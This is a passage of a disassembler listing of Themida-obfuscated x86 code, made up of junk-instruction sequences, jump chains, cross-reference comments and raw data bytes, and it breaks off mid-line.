loc_54EA64: ; CODE XREF: Themida_:0054C2BFj mov [esp], edx mov edx, 0A125580h sub [esp+4], edx pop edx add dword ptr [esp], 76D35F8Dh push eax push ebx push 159951D0h pop ebx push ebp mov ebp, 3F70BD5h jmp loc_54DFA9 ; --------------------------------------------------------------------------- db 81h dd 4C6h, 4EC8300h, 0BF243C89h, 2, 2D5BE9h db 0 ; --------------------------------------------------------------------------- loc_54EAA1: ; CODE XREF: Themida_:0054E096j push 2838h jmp loc_5475A8 ; --------------------------------------------------------------------------- loc_54EAAB: ; CODE XREF: Themida_:0054D0D2j or edx, eax shl edx, 1 push edx push 3CF4h mov [esp], eax jmp loc_54BD24 ; --------------------------------------------------------------------------- db 59h, 0C1h, 0E0h dd 9202E902h, 6866FFFFh, 89662ECAh, 37E9240Ch db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EAD3: ; CODE XREF: Themida_:00549BF5j shr bl, 1 jmp loc_549B27 ; --------------------------------------------------------------------------- dw 15Fh dd 95F7E9FBh, 8B66FFFFh, 8957240Ch, 4C781E7h, 56000000h dd 1832E9h, 57D83100h, 0F17A4DBFh, 2E7C13Ch, 0DE87F787h dd 0DE87D3F7h, 0C781F787h, 647D5B99h, 0CEADE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EB16: ; CODE XREF: Themida_:0054ECE2j pop edi add edi, 4 sub edi, 4 xor edi, [esp] xor [esp], edi jmp loc_54A52D ; --------------------------------------------------------------------------- db 81h dd 0AE5D68C1h, 0E42CE907h, 0FCBFFFFFh, 0F7703C4Eh, 0B9CF81D7h dd 81071E11h, 0B4AB17EFh, 5FFB214Fh, 1A67F381h, 0FDE9578Eh dd 81FFFF8Dh, 6F64C4E3h, 867CE956h, 1C89FFFFh, 3B77BB24h dd 0C3810EAAh, 0F155C48Bh, 875BD901h, 575C240Ch, 0C781E789h dd 4, 4B951h, 9E90000h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EB8B: ; CODE XREF: Themida_:0054D281j mov [esp], ecx push edx mov dl, 0C3h mov ch, 52h xor ch, dl mov edx, [esp] add esp, 4 jmp loc_5505D4 ; --------------------------------------------------------------------------- loc_54EBA0: ; CODE XREF: Themida_:00552379j pop edx or edx, 623B31D9h push ecx mov ecx, 100A2589h shl ecx, 6 xor ecx, 7C9C7536h xor edx, ecx mov ecx, [esp] add esp, 4 dec edx sub edx, 1DC743FCh or edx, 26954EE4h add edx, 79761BABh add ebx, edx pop edx mov dx, [esp] push edi push esp push dword ptr [esp] pop edi push eax mov eax, esp push ebp mov ebp, 6A6B407Ah and ebp, 136744C3h shl ebp, 6 neg ebp and ebp, 3EB0749Dh xor ebp, 760F1DC2h sub ebp, 502F793Eh jmp loc_54AD16 ; --------------------------------------------------------------------------- dd 0C12DF029h, 0FF62B174h, 835E2434h, 346804C4h, 89000037h dd 0DBE9241Ch, 0F7FFFFC2h, 0D9F749D9h, 4904E1C1h, 0FB39F181h dd 46E963F6h db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EC3B: ; CODE XREF: Themida_:005516DDj pop esp jmp loc_54D05E ; --------------------------------------------------------------------------- db 53h, 0BBh, 0C0h dd 814D8047h, 4702CBF3h, 5BD829F7h, 0E958C329h, 0FFFFF788h ; --------------------------------------------------------------------------- loc_54EC58: ; CODE XREF: Themida_:0054A293j add edx, 4 jmp loc_54E56E ; --------------------------------------------------------------------------- db 81h dd 0BB48EEF3h, 81DBF716h, 709A08F3h, 5BDA89EFh, 0C2E9D001h dd 8B00001Ah, 0C481240Ch, 4, 15F2F181h, 0D10174CCh, 0E541E95Ah dd 0DF2CFFFFh, 2434FF5Bh db 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54A3F0 ; --------------------------------------------------------------------------- db 66h, 68h, 0A3h dd 66546642h, 6624048Fh, 0BC12E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ECB2: ; CODE XREF: Themida_:0054AE54j pop edx push ebx mov ebx, 0 sub ebx, ebp jmp loc_552584 ; --------------------------------------------------------------------------- loc_54ECC0: ; CODE XREF: Themida_:0054C969j add esi, 1 inc esi shr esi, 5 push eax mov eax, 389DAD3h sub esi, eax pop eax mov eax, esi mov esi, [esp] add esp, 4 shl eax, cl push edi push esp jmp loc_54EB16 ; --------------------------------------------------------------------------- db 89h dd 6BE9240Ch db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ECEF: ; CODE XREF: Themida_:0054F89Cj mov edi, [esp] add esp, 4 push esi push edi push 250406Ch pop edi shr edi, 1 push ebx jmp loc_551D79 ; --------------------------------------------------------------------------- loc_54ED08: ; CODE XREF: Themida_:0054EA01j mov esi, 4BF502B2h dec esi jmp loc_54E6BF ; --------------------------------------------------------------------------- db 40h dd 4E8C148h, 0B55C3C35h, 15CFE968h, 0E1800000h, 56F18006h dd 59B55152h, 8059EE88h, 0F128AFF6h, 0FFF3BEE9h, 0C895CFFh dd 7CF8B924h, 0EC8311D9h, 241C8904h, 268308BBh, 8BE981EEh dd 1130065h, 93BD55D9h, 871EF47Fh, 75EAE9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ED62: ; CODE XREF: Themida_:005523EAj add ebx, eax sub ebx, 6FD85A5Ah pop eax jmp loc_54BF20 ; --------------------------------------------------------------------------- dd 2C1835Fh, 5C240C87h, 4B30F66h, 87E99C24h, 8BFFFF74h dd 62E92414h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54ED8B: ; CODE XREF: Themida_:0055285Aj mov edx, [esp] jmp loc_5505C4 ; --------------------------------------------------------------------------- db 31h dd 242C8BE8h, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h dd 5D54242Ch, 4C581h, 0F0680000h, 89000017h, 4B82404h dd 81000000h, 70F54C5h, 0DAED8126h, 1606D7Eh, 364BE9C5h dd 0BF570000h, 3ABE7630h, 0FF9CE8E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EDE1: ; CODE XREF: Themida_:0055061Cj inc al dec al not al or al, 0F6h jmp loc_547085 ; --------------------------------------------------------------------------- dw 0F7BEh dd 5600CC02h, 5E2414F7h, 26EBBF57h, 40E93447h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EE03: ; CODE XREF: Themida_:0054771Dj add esp, 4 pop dword ptr [esp] pop esp jmp loc_550035 ; --------------------------------------------------------------------------- db 0B6h dd 0BBB753EEh, 0F780D7F6h, 0E9FE0093h, 1BBEh, 83242489h dd 8B042404h, 8956240Ch, 4C681E6h, 57000000h, 4BFh, 82EE8100h dd 810F8671h, 5A2752C6h, 81FE015Ch, 5A2752EEh, 82C6815Ch dd 5F0F8671h, 5C243487h, 4C181h, 0C1810000h, 2, 31240C33h dd 0C33240Ch, 24248B24h, 2424D366h, 7390E99Ch, 0CF35FFFFh dd 0E9AFCE6Bh, 0FFFFC093h ; --------------------------------------------------------------------------- loc_54EE84: ; CODE XREF: Themida_:0054E7D2j mov ebp, [esp] add esp, 4 sub edi, 0D723854h mov ebx, [esp] add esp, 4 retn ; --------------------------------------------------------------------------- db 0E9h, 4Dh, 35h dd 8B660000h, 0EE68240Ch, 8900003Eh, 1CE92414h db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EEB3: ; CODE XREF: Themida_:0054E750j shr eax, 10h xor eax, ecx xchg eax, esi push ebx jmp loc_54C624 ; --------------------------------------------------------------------------- db 0BBh dd 27532F39h, 565BDF29h, 0C681E689h, 4, 4EE81h, 34330000h dd 24343124h, 0E9243433h, 0FFFFCD26h, 8E2CB968h, 0E5815D7Ah dd 6D7118AFh, 47DCC581h, 0CD814034h, 74A73023h, 0D660C581h dd 0E83122EEh, 83242C8Bh, 0E8C104C4h, 4E8C107h, 42E0D02Dh dd 348150B2h, 0BC30F424h, 0F181593Dh, 3DBC30F4h, 0FFD8ECE9h dd 4BB53FFh, 1000000h, 0E2E95BDEh, 68FFFFDCh, 32581D8Fh dd 4EC815Ah, 89000000h, 81B9240Ch, 81077E76h, 8C6202C9h dd 4CF18152h, 816C2135h, 0FB5BCFE1h, 0CDE95041h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EF63: ; CODE XREF: Themida_:0054E2F7j shl eax, 8 sub eax, 346E462h sub ebx, eax pop eax not ebx jmp loc_54681B ; --------------------------------------------------------------------------- db 1, 0D8h, 8Bh dd 8951241Ch, 4C181E1h, 81000000h, 4C1h, 0CBD0E900h, 348BFFFFh dd 4C48324h, 8158C701h, 4EFh, 30E900h, 0A9BD0000h, 0E9541C64h dd 0FFFFAA28h, 88AAEC80h, 0B35358E5h, 0DFB24Ch, 0C620E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EFBE: ; CODE XREF: Themida_:0054A5B8j sub eax, 306F1CBDh push 3CA2h jmp loc_547FE2 ; --------------------------------------------------------------------------- db 0E9h, 38h, 72h dd 3C87FFFFh, 24248B24h, 50242C89h, 902DE8B8h, 0E750E960h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EFE6: ; CODE XREF: Themida_:0054F506j sub ebp, 0D9D5CBA3h jmp loc_5480C8 ; --------------------------------------------------------------------------- loc_54EFF1: ; CODE XREF: Themida_:00549198j pop dword ptr [esp] pop esp bts [esp], ax pushf jmp loc_54BB22 ; --------------------------------------------------------------------------- dd 0FAEFE9ADh, 48FFFFFh, 0FBE95C24h, 54FFFF71h, 8324048Fh dd 0ABE904ECh db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F01B: ; CODE XREF: Themida_:0054D910j push eax jmp loc_54F624 ; --------------------------------------------------------------------------- db 56h, 0BEh, 4 dd 1000000h, 4875EF0h, 0BAFFE924h, 0EB81FFFFh, 27636F56h dd 0DDEB814Bh, 4306052Dh, 6278C381h, 0B0E9EC91h, 81FFFFA3h dd 0A54B88EFh, 5F595758h, 0C8BCB01h, 0E3895324h, 4C381h dd 0C3830000h, 241C8704h, 22F7E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F06E: ; CODE XREF: Themida_:0054A528j mov ecx, [esp] push ecx jmp loc_547C39 ; --------------------------------------------------------------------------- dd offset dword_4B5248+1520h align 4 dd 89241C89h, 7A7FE9E3h, 0E952FFFFh, 0FFFFB85Fh, 0F9C8E958h dd 972CFFFFh, 0EC817A04h, 4, 0B5240C89h, 0FFE82847h, 0AAE92434h dd 66FFFF9Ch, 0E935CDBFh, 0FFFFB69Fh, 2C8BEB29h, 4C48324h dd 42E9C231h, 68000028h, 72F1h, 81241C89h, 4ECh, 24248900h dd 4240483h, 33AE9h, 0C6815D00h, 4, 5C243487h, 19E95052h dd 68FFFF7Eh, 1AD4h, 0E9240489h, 0FFFFD9DCh, 0C06AC181h dd 4A2112B9h, 0E2E95930h db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F10B: ; CODE XREF: Themida_:00547E4Fj pop ebp jmp loc_546F71 ; --------------------------------------------------------------------------- db 1, 0FAh, 0E9h dd 0FFFFF230h, 4C181h, 0E9500000h, 0FFFFCA0Ch, 0B850E789h dd 4, 5658C701h, 4BEh, 5EF70100h, 0E9243C33h, 0FFFF8D1Ch dd 30B8h, 81D00100h, 84F90C30h, 0EEABE90Bh, 34FFFFFFh dd 89515924h, 4C181E1h, 81000000h, 4E9h, 9207E900h, 0BA52FFFFh dd 220E481Ch, 895AD329h, 0EA015BDDh, 2414335Dh, 2561E9h dd 14335800h, 24143124h, 8B241433h, 1EE92424h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F193: ; CODE XREF: Themida_:0054D6D6j xor eax, ebp push ebp jmp loc_5484C8 ; --------------------------------------------------------------------------- db 59h dd 6A8CC581h, 0C5015304h, 0FF8303E9h, 0C8B66FFh, 0C893E924h dd 0C281FFFFh, 2E22014Dh, 0FFB38AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F1BD: ; CODE XREF: Themida_:00549354j mov [edi+38h], bh mov ebx, [esp] sub esp, 4 jmp loc_551291 ; --------------------------------------------------------------------------- dw 8359h dd 148904ECh, 3046B224h, 2434FFD0h, 0AA4E95Ah, 8B660000h dd 0D068240Ch, 89000014h, 72E92434h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F1F3: ; CODE XREF: Themida_:00549BD2j pop esp shl edx, 1 dec edx jmp loc_55163A ; --------------------------------------------------------------------------- loc_54F1FC: ; CODE XREF: Themida_:0054F37Bj pop dword ptr [esp] pop esp and eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_551A68 ; --------------------------------------------------------------------------- dd 5C24048Fh, 0F66E1F6h, 24E9CCB6h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F21F: ; CODE XREF: Themida_:00548CC5j pop eax push 5DB7h mov [esp], edx mov dh, cl mov bh, dh mov edx, [esp] jmp loc_54C681 ; --------------------------------------------------------------------------- dd 0F0E9D101h, 89FFFFF8h, 16DCE9F0h, 8B660000h, 0EC81240Ch dd 4, 89243C89h, 4EC83E7h, 329E9h, 8BFD8900h, 0C483243Ch dd 0F5814D04h, 4B240065h, 0E5C1DDF7h, 0E1E94D04h, 1000013h dd 0FF088BF8h, 81582434h, 4C4h, 0B93EE900h, 8B66FFFFh dd 57E9240Ch, 6800002Eh, 1C9Ah, 56240C89h, 0B34BD568h dd 87E95E2Fh db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F2A3: ; CODE XREF: Themida_:0054F3E4j add esp, 4 push edx push esi jmp loc_54DFB8 ; --------------------------------------------------------------------------- aXs3 db 'XéÆ3',0 dw 8100h dd 2ECh, 0C896600h, 4C6B124h, 2CC800D0h, 0C8B66D0h, 44C26824h dd 14890000h, 0AA64E924h, 4858FFFFh, 508E0C1h, 0A593C553h dd 0E958C589h, 0FFFFFAABh ; --------------------------------------------------------------------------- loc_54F2E8: ; CODE XREF: Themida_:0054EA3Ej push edi push esi mov esi, 2A196814h push edi mov edi, 0 sub edi, esi mov esi, edi pop edi jmp loc_550A12 ; --------------------------------------------------------------------------- loc_54F2FF: ; CODE XREF: Themida_:00548CD8j pop dword ptr [esp] jmp loc_55067E ; --------------------------------------------------------------------------- db 89h dd 0E2815DEAh, 3AAC559Fh, 0A957C281h, 0A6E9CF78h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F31B: ; CODE XREF: Themida_:00547F59j mov [esp], ebx push eax jmp loc_54933E ; --------------------------------------------------------------------------- dd 0FF2434FFh, 50582434h, 4055854h, 56000000h, 7BC9BA52h dd 0F2815219h, 52197BCDh, 148BD689h, 4C48324h, 0B94DFE05h dd 5274055Ah, 0F0010265h, 0FFCBA0E9h, 243C89FFh, 0FF72DCE9h dd 15F2B9FFh, 38E936EDh, 89FFFFB2h, 0E9E92424h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F373: ; CODE XREF: Themida_:0054699Bj mov [esp], eax push dword ptr [esp+4] pop eax jmp loc_54F1FC ; --------------------------------------------------------------------------- dd 0AD0F7AB9h, 3E9C163h, 0FFFFBA52h, 0D129FFFFh, 2EBF575Ah dd 515EB365h, 674AEFB9h, 0F7E98730h, 81E987DDh, 12A679C1h dd 8BCF09ACh, 0C481240Ch, 4, 6459EF81h, 0E7C12A92h, 174E908h dd 0E9570000h, 0FFFFA3EAh, 9D1C77FFh, 19665866h, 0E99C2404h dd 0FFFF6E32h ; --------------------------------------------------------------------------- loc_54F3D8: ; CODE XREF: Themida_:0054E362j pop ebx mov ebx, ecx pop ecx xor [esp+4], ebx pop ebx mov eax, [esp] jmp loc_54F2A3 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 4A136824h, 4890000h, 2F1DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F3FA: ; CODE XREF: Themida_:0054642Bj add edi, 62ACAD6Eh or eax, edi pop edi xor eax, 70E3FB0h mov edx, eax jmp loc_54796F ; --------------------------------------------------------------------------- db 0C1h dd 5DE905E6h, 5BFFFF94h, 0CB8BA52h, 0EAC143E0h, 0D2F74202h dd 0FFAC7DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F429: ; CODE XREF: Themida_:00546920j mov esi, [esp] push ebx jmp loc_54AB9F ; --------------------------------------------------------------------------- dw 0BB53h dd 73425DACh, 1C3814Bh, 81A3E1B8h, 0B70D11C6h, 81DE292Ah dd 0B70D11EEh, 0D6F75B2Ah, 4111EE81h, 0B951265Ch, 23F597F5h dd 0E959CE31h, 21CCh, 4C481h, 9BE90000h db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F46F: ; CODE XREF: Themida_:0054E319j shr ebx, 4 push edi mov edi, 207D6F6Ch jmp loc_546372 ; --------------------------------------------------------------------------- loc_54F47D: ; CODE XREF: Themida_:00546229j pop ecx sub ebx, 43041EE1h sub ebx, ebp add ebx, 43041EE1h pop ebp not ebx push edi mov edi, 4C5E0CE3h add ebx, 142430FFh add ebx, edi jmp loc_550980 ; --------------------------------------------------------------------------- dw 0E953h dd 0FFFFFA17h, 4E5AD689h, 5CFDCE81h, 0EE92A86h, 52FFFF8Eh dd 4BF57h, 0FA890000h, 0FF95DBE9h, 0C32C5AFFh, 0C304E800h dd 34FF292Ch, 240C8B24h, 10FD68h, 242C8900h, 0C581E589h dd 4, 0E904C583h, 3255h, 0C581E589h, 4, 0E904ED83h, 0FFFFA24Ch ; --------------------------------------------------------------------------- loc_54F4FC: ; CODE XREF: Themida_:005511F3j push ebp mov ebp, 3EF74BDBh shl ebp, 8 dec ebp jmp loc_54EFE6 ; --------------------------------------------------------------------------- loc_54F50B: ; CODE XREF: Themida_:0054C3EAj sub edi, 7E927F45h push ebp mov ebp, 600E5ACFh dec ebp not ebp sub ebp, 1 push ebp jmp loc_54E7C0 ; --------------------------------------------------------------------------- loc_54F526: ; CODE XREF: Themida_:0055254Fj mov [esp], esi mov esi, 0FFFFFFFFh add eax, esi pop esi jmp loc_55217C ; --------------------------------------------------------------------------- dw 0F781h dd 7F62711Ch, 4EC81h, 0B9E90000h, 31FFFF7Bh, 35E958C5h dd 5DFFFFD8h, 0E95DE829h, 0FFFF6FA1h, 89241C89h, 7C89E9E3h dd 0E789FFFFh, 0FFB471E9h, 0CC6859FFh, 8900005Fh, 4B82404h dd 1000000h, 3C8758C7h, 1A83E924h, 1C890000h, 609DBB24h dd 96E93316h, 0BA000029h, 20713532h, 0FFE4DDE9h, 88E788FFh dd 48B5BFDh, 4C48324h, 0C8BEB88h, 0E7895724h, 4C781h, 0C7810000h dd 4, 5C243C87h, 8B66D820h, 8952241Ch, 50E956E2h db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F5CB: ; CODE XREF: Themida_:00550D27j push 1AAC5AEFh mov eax, [esp] add esp, 4 push edi mov edi, 3F3D31D0h and edi, 2B7F72A4h push eax mov eax, 0 sub eax, edi jmp loc_552657 ; --------------------------------------------------------------------------- dw 0EF01h dd 2C7835Dh, 0E9243C87h, 0FFFF7D69h, 8904EC83h, 0EC81241Ch dd 4, 0B8240489h, 52DC505Ah, 9BD775BBh, 58C301E8h, 0E95BD929h dd 938h ; --------------------------------------------------------------------------- loc_54F624: ; CODE XREF: Themida_:0054F01Cj push 25BCh mov [esp], ebp push 79903C31h mov ebp, [esp] add esp, 4 and ebp, 2E560612h push edi mov edi, 449948C4h jmp loc_54CD4D ; --------------------------------------------------------------------------- dd 9FF7814Fh, 12BA527h, 0CA895FF9h, 0E9D02959h, 0FFFFE2CDh dd 0DAB21AB1h, 5059CA30h, 0D0F6ACB0h, 0EA805F34h, 80C228B1h dd 2858B1C2h, 2434FFD0h, 0FF92AFE9h, 0DABA52FFh, 0BB79D272h dd 9D0C8DECh, 7DA1EB81h, 0D30100DFh, 0FFDE4FE9h, 0C4835FFFh dd 4BB5304h, 1000000h, 24F4E9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F6A6: ; CODE XREF: Themida_:005505D9j pop ecx jmp loc_54A48E ; --------------------------------------------------------------------------- dd 7F5E14BEh, 0B5C9E940h, 8B66FFFFh, 0D4682404h, 89000001h dd 0E789243Ch, 0D8685055h, 58399118h, 8E0C140h, 0A034E953h dd 0E089FFFFh, 405h, 40500h, 4870000h, 0E9525C24h, 0FFFFCEE3h dd 6CE94E04h, 21FFFF8Dh, 0E94D58C5h, 0FFFFB75Dh, 0FF6B09E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F701: ; CODE XREF: Themida_:00548242j mov bl, 0FAh not bl jmp loc_549BF2 ; --------------------------------------------------------------------------- dw 0FBE9h dd 53FFFF6Ah, 0C381E389h, 4, 0FF7463E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F71D: ; CODE XREF: Themida_:0054656Dj mov edx, [esp] add esp, 4 pop ebp add ebp, 4 add ebp, 4 jmp loc_54E9F9 ; --------------------------------------------------------------------------- loc_54F738: ; CODE XREF: Themida_:0054DE2Fj xor esi, 884359Bh or esi, 146B798Ch push edi mov edi, 149D66D5h xor edi, 0F79964D2h add esi, edi pop edi jmp loc_54921A ; --------------------------------------------------------------------------- loc_54F758: ; CODE XREF: Themida_:0054C074j jz loc_54CBA3 push 69FFh mov [esp], esi push ecx mov ecx, 5CB160D4h not ecx add ecx, 6EB5305Dh dec ecx shr ecx, 6 jmp loc_54E38B ; --------------------------------------------------------------------------- db 5Bh, 56h, 0BEh dd 4, 875EF701h, 248B243Ch, 24048B24h, 24C9E955h, 5F580000h dd 8904EC83h, 0E9552434h, 2929h, 0F6E9D729h, 89FFFFCFh dd 4C381E3h, 50000000h, 2B8h, 58C30100h, 0FF9D68E9h, 5AD131FFh dd 0FF98EBE9h, 0AEEF81FFh, 890B2A11h, 0C6815FF8h, 27224832h dd 333EE81h, 0C6016EA3h, 0FF9068E9h, 3ACFBBFFh, 0EB817F10h dd 5C8A045Dh, 0F75BD931h, 0E98141D1h, 0CE4381B7h, 0E9C1D9F7h dd 0F1814108h, 4C6D2572h, 8759CA31h, 1C26E9DAh, 2E680000h dd 5B6FA250h, 0BBD3E951h, 0E9C1FFFFh, 41C98106h, 0E95D7419h dd 0FFFFB74Dh ; --------------------------------------------------------------------------- loc_54F82C: ; CODE XREF: Themida_:0054FAFFj pop edx or eax, eax jz loc_54D24F push dword ptr [edi+1Ch] sub esp, 4 mov [esp], ebp mov ebp, 7520349Ch add dword ptr [esp+4], 216F75E0h add dword ptr [esp+4], 32CD0185h add dword ptr [esp+4], 57820113h add [esp+4], ebp jmp loc_54C209 ; --------------------------------------------------------------------------- dd 240C8B66h, 0FF87EBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F86D: ; CODE XREF: Themida_:00546630j pop ecx inc ebp push ebp not dword ptr [esp] pop ebp jmp loc_5485F4 ; --------------------------------------------------------------------------- db 0D3h, 2 dup(24h) dd 6988E99Ch, 0BB53FFFFh, 47FA6098h, 0FF7B96E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F88D: ; CODE XREF: Themida_:0054709Bj neg cl jmp loc_547FCC ; --------------------------------------------------------------------------- loc_54F894: ; CODE XREF: Themida_:0055128Cj not bh jmp loc_54D3FD ; --------------------------------------------------------------------------- loc_54F89B: ; CODE XREF: Themida_:0055262Aj pop esi jmp loc_54ECEF ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 83000000h, 1C8704C3h, 70E95C24h, 89FFFFA4h, 14E9241Ch dd 5BFFFFB7h, 0FFB67CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F8C1: ; CODE XREF: Themida_:00552227j push edx mov dh, 0B1h sub al, dh pop edx xor bh, al pop eax sub al, bh mov ebx, [esp] add esp, 4 push small 0Fh jmp loc_549A05 ; --------------------------------------------------------------------------- loc_54F8DE: ; CODE XREF: Themida_:005507B5j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_54A9E5 ; --------------------------------------------------------------------------- dd 515E5456h, 0E725B6B9h, 1E9835Dh, 0DA4FBD55h, 0C181A218h dd 77FB6B26h, 97E9E901h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F90B: ; CODE XREF: Themida_:0054D267j mov [esp], ebx mov ebx, esp jmp loc_546AF2 ; --------------------------------------------------------------------------- db 0BFh, 2, 0 dd 0F9290000h, 240C875Fh, 6624248Bh, 0E9240489h, 0FFFF68DEh ; --------------------------------------------------------------------------- loc_54F92C: ; CODE XREF: Themida_:00546862j add eax, edx jmp loc_54FBEF ; --------------------------------------------------------------------------- db 0BDh dd 50CCCB3Dh, 0E95DE829h, 0FFFFD2C9h, 0FD6EAFBAh, 0EDCA811Bh dd 420E3C51h, 0FFB2B9E9h, 0C7835DFFh, 7E95704h, 0E9FFFFFCh dd 0FFFF68AAh ; --------------------------------------------------------------------------- loc_54F960: ; CODE XREF: Themida_:005502E6j push 30B5h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_54C015 ; --------------------------------------------------------------------------- db 87h dd 0C15C242Ch, 0B95107EAh, 5FDF21DCh, 7FBA5249h, 295F85E7h dd 24148BD1h, 0FF87CDE9h, 0B8BE56FFh, 4E044B1Bh, 2DEEE81h dd 0EE8123A5h, 624307F0h, 5D1AF681h, 0F681245Ah, 667030E7h dd 0E4DBF57h, 0FE29D539h, 5EF5015Fh, 15DEE89h, 77095AD6h dd 24348B1Ch, 6804C483h, 6065h, 0FF241C89h, 505B2434h dd 191768h, 24248900h, 4240481h, 8B000000h, 0C4812404h dd 4, 29CEE9h, 52575B00h, 0FFE604E9h, 0AD768FFh, 0C890000h dd 2D29E924h, 0D3660000h, 0E99C242Ch, 0FFFF67F2h, 4C481h dd 0BF570000h, 7CB542BFh, 0B79BE56h, 85E952EFh, 66000006h dd 8324048Bh, 48904ECh, 5E08924h, 4, 8904EC83h, 9E92434h dd 55000008h, 6B1E29BDh, 81EDD164h, 0EB2A8EC5h, 5EDC103h dd 0FFCC2BE9h, 7DF181FFh, 9444479h, 0F04FE9C8h, 0C383FFFFh dd 0ADC38101h, 89B923E0h, 0EF015BDDh, 243C875Dh, 8124248Bh dd 4C4h, 2434FF00h, 0E92434FFh, 0FFFFC442h, 0B3244BBBh dd 0D8E95549h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FA9F: ; CODE XREF: Themida_:0054C64Fj xor ebx, [esp] mov esp, [esp] mov [esp], esi jmp loc_5518A4 ; --------------------------------------------------------------------------- db 1, 0D0h, 2Dh dd 114658E4h, 8324148Bh, 0F1E904C4h, 81000023h, 107F02C1h dd 59CB0137h, 1C8BD829h, 4C48324h, 0FFC3B7E9h, 24048FFFh dd 92DFE95Ch, 166FFFFh, 0C38166C3h, 56666A7Bh, 1794BE66h dd 0E9F30166h, 0FFFF897Ch, 0E9C0B60Fh, 0FFFFB68Ah ; --------------------------------------------------------------------------- loc_54FAFC: ; CODE XREF: Themida_:0054C0C9j pop ecx and eax, edx jmp loc_54F82C ; --------------------------------------------------------------------------- dd 0F57038BAh, 45EA687Bh, 92E90000h, 68FFFFD4h, 6CFBh dd 89242C89h, 4C581E5h, 81000000h, 2C5h, 74FF5500h, 34FF0424h dd 0EC835D24h, 243C8904h, 38E95F54h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FB3F: ; CODE XREF: Themida_:00551EBFj add ecx, 2 xchg ecx, [esp] pop esp push small 0E2Dh mov [esp], dx mov dh, 0A3h add al, 8Dh add al, dh sub esp, 4 jmp loc_54BFEB ; --------------------------------------------------------------------------- db 0B8h dd 136F7F7Ch, 7D12B025h, 5AEB057Ch, 35405233h, 8120B265h dd 91E9C229h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FB7B: ; CODE XREF: Themida_:00546404j neg edx jmp loc_54A83B ; --------------------------------------------------------------------------- dw 468h dd 5B000000h, 39DCBA52h, 0D0013E29h, 8324148Bh, 0D80104C4h dd 39DCBB53h, 53E93E29h, 5DFFFFC8h, 4247C01h, 13D8E95Fh dd 77FF0000h, 58669D1Ch, 24041166h, 664CE99Ch, 0D828FFFFh dd 20E95266h, 50FFFFCCh, 2B8h, 1CEE8100h, 8111ED47h, 734EB2C6h dd 81C6014Eh, 734EB2EEh, 1CC6814Eh, 8B11ED47h, 39E92404h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FBEF: ; CODE XREF: Themida_:0054F92Ej mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xchg eax, [esp] mov esp, [esp] shr eax, 0Bh xor ecx, eax push 1C96h mov [esp], edx push ebx pop edx mov eax, edx jmp loc_54E08F ; --------------------------------------------------------------------------- dw 8F5Eh dd 248B2404h, 24048924h, 0FF65DDE9h, 5D03BDFFh, 0EE894AADh dd 5D2434FFh, 0FFB0CEE9h, 74FF52FFh, 58E90424h, 31FFFF86h dd 24048BC7h, 4C481h, 0F8290000h, 0E9243C8Bh, 0FFFFA5D0h dd 6854E381h, 0D3F71DDCh, 4BF8F381h, 0C3815926h, 596663EBh dd 335BDF01h, 3EE9243Ch db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FC7B: ; CODE XREF: Themida_:00546FA1j add ebp, 4 jmp loc_54E13C ; --------------------------------------------------------------------------- dw 8952h dd 4C281E2h, 55000000h, 8AA7E953h, 0E389FFFFh, 0FFA6F5E9h dd 0CB685BFFh, 89000048h, 0E9562414h, 2EAh, 240C8B66h dd 459468h, 243C8900h, 43268h, 8761E900h, 8B66FFFFh, 0E9522404h dd 60Ah, 286C68h, 24148900h, 0BD55E289h, 4, 2C8BEA01h dd 4C48324h, 8704C283h, 0E95C2414h, 11E9h, 